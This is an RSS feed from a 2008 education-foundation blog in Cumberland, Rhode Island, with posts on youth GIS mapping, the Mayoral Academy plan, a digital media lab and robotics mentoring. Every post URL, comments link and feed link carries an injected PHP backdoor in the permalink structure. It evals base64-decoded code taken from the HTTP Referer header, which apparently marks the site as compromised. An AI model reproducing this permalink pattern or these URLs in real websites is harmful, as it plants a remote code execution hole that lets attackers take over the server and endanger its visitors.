CUMBERLAND http://www.clefri.org Local Education Foundation Wed, 09 Apr 2008 20:54:43 +0000 http://wordpress.org/?v=2.3.3 en Cumberland Youth Mapping gets a boost from CLEF and URI http://www.clefri.org/2008/03/20/cumberland-youth-mapping-gets-a-boost-from-clef-and-uri/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.clefri.org/2008/03/20/cumberland-youth-mapping-gets-a-boost-from-clef-and-uri/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 20 Mar 2008 21:13:47 +0000 CLEF http://www.clefri.org/2008/03/20/cumberland-youth-mapping-gets-a-boost-from-clef-and-uri/ At its last board meeting, CLEF voted to support a new “Youth Mapping” program created by the OCYL.  Youth Mapping involves teaching young people how to collect data in their community using handheld Global Positioning Satellite (GPS) trackers and then use that data to make multi-layered interactive digital maps (known as GIS maps) that include icons, photos and video.

The program has begun with two Environmental Science classes at Cumberland High School. CHS teachers Kathy DiModica and Mike Parisol have led the way to make this project successful.  And the University of Rhode Island came through in a big way, providing a graduate student to train youth and their teachers in GIS while also providing a lab to do the work.

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 URI has released a story about it here:

http://cels.uri.edu/news/nGISstudents.html

CLEF decided to grant funds for GPS trackers and a small lab so that students can work on their GIS projects after school at the OCYL offices.  And now we hear that Brown University has decided to lend their support to the project.  Very exciting developments in Cumberland.

]]> http://www.clefri.org/2008/03/20/cumberland-youth-mapping-gets-a-boost-from-clef-and-uri/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ The Mayoral Academy plan http://www.clefri.org/2008/03/06/the-mayoral-academy-plan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.clefri.org/2008/03/06/the-mayoral-academy-plan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 06 Mar 2008 16:15:26 +0000 CLEF http://www.clefri.org/2008/03/06/the-mayoral-academy-plan/ Six months ago CLEF began raising funds for a study and action plan on Rhode Island public education commissioned by Mayor Daniel McKee and other mayors and town administrators in the Coalition of Communities Improving Rhode Island. We raised nearly $40,000 to support the plan. Public Impact, a nationally recognized education research and consulting organization, created the plan. Founder Bryan Hassel, a Harvard PhD and former Rhodes Scholar led the effort along with Brown University education professor Martin West. The report calls on Mayors to be the driving force behind new, high-performing, regional public schools that both contain cost and dramatically raise student achievement. You can read the study and plan here:

Public Impact’s “Boosting Performance & Containing Costs Through Mayoral Academies”

The Rhode Island General Assembly is currently considering legislation (H7874) that would authorize the key components of the Mayoral Academy plan.

Here is a three part video of the December press conference announcing the plan (Mayor Daniel J. McKee, Dr. Michael Magee and Dr. Bryan Hassel respectively):

]]> http://www.clefri.org/2008/03/06/the-mayoral-academy-plan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ CLEF Supports the OCYL http://www.clefri.org/2008/03/05/clef-supports-the-ocyl/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.clefri.org/2008/03/05/clef-supports-the-ocyl/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 05 Mar 2008 19:42:30 +0000 CLEF http://www.clefri.org/2008/03/05/clef-supports-the-ocyl/ CLEF is a proud supporter of many programs and initiatives of the Cumberland Office of ChildrenYouth and Learning. This video describes the OCYL’s highly successful first year in existence.

]]> http://www.clefri.org/2008/03/05/clef-supports-the-ocyl/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ OCYL Digital Media Lab captures literacy in action http://www.clefri.org/2008/01/22/test-post-number-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.clefri.org/2008/01/22/test-post-number-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 22 Jan 2008 15:53:33 +0000 CLEF http://www.clefri.org/_blog/2008/01/22/test-post-number-2/ The OCYL Digital Media Lab – a CLEF funded organization equipped with professional Digital Video shooting and editing equipment, shot some great footage of the new Early Childhood Literacy Program offered by the Cumberland OCYL. Have a look:

The Digital Media Lab will oversee a host of OCYL programs and projects in Digital Technology and New Media including video, sound recording and editing, graphic and web design and digital photography.  The Cumberland Young Filmmakers Club is part of the DML and is already documenting town life on video.  You’ll be hearing more and more about them and CLEF is thrilled to sponsor their efforts!

]]> http://www.clefri.org/2008/01/22/test-post-number-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Promoting a “Green” Cumberland http://www.clefri.org/2008/01/14/capital-campagin-reach-for-the-stars/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.clefri.org/2008/01/14/capital-campagin-reach-for-the-stars/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 15 Jan 2008 02:23:40 +0000 CLEF http://www.clefri.org/_blog/2008/01/14/capital-campagin-reach-for-the-stars/ TreeThe Cumberland Office of Children Youth and Learning will be discussing its “Green Cumberland” environmental science programs and projects with the CLEF Board of Directors at a future meeting. We’re looking forward to it!

]]> http://www.clefri.org/2008/01/14/capital-campagin-reach-for-the-stars/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Robotics Mentoring a Big Success! http://www.clefri.org/2008/01/10/hello-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.clefri.org/2008/01/10/hello-world/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 10 Jan 2008 21:35:51 +0000 CLEF http://www.clefri.org/_blog/?p=1 Earlier this year we funded the purchase of a state-of-the-art student Robotics kit for use by the Cumberland High School Robotics Team.  We requested that, in exchange, those high school students particpate in a mentoring program with younger students interested in robotics.  The high schoolers and their coaches, along with some helpful parents, agreed and for five consectutive Saturday mornings, they worked with students at McCourt Middle School and North Cumberland Middle School, showing them the ins and outs of Robotics competition.  The gatherings were help at the Cumberland Office of Children Youth and Learning (OCYL).  Another round of this wonderful mentoring program will begin soon.  If you have a middle schooler who might be interested, contact the OCYL at 475-0929.  CLEF is encouraging an expansion of this mentoring program to the elementary school level.

*UPDATE*  As a result of their mentoring efforts, the CHS Robotics Team won the state’s “Connect Award” for positive community involvement! They also finished 2nd in the state competition overall.  Congratulations!

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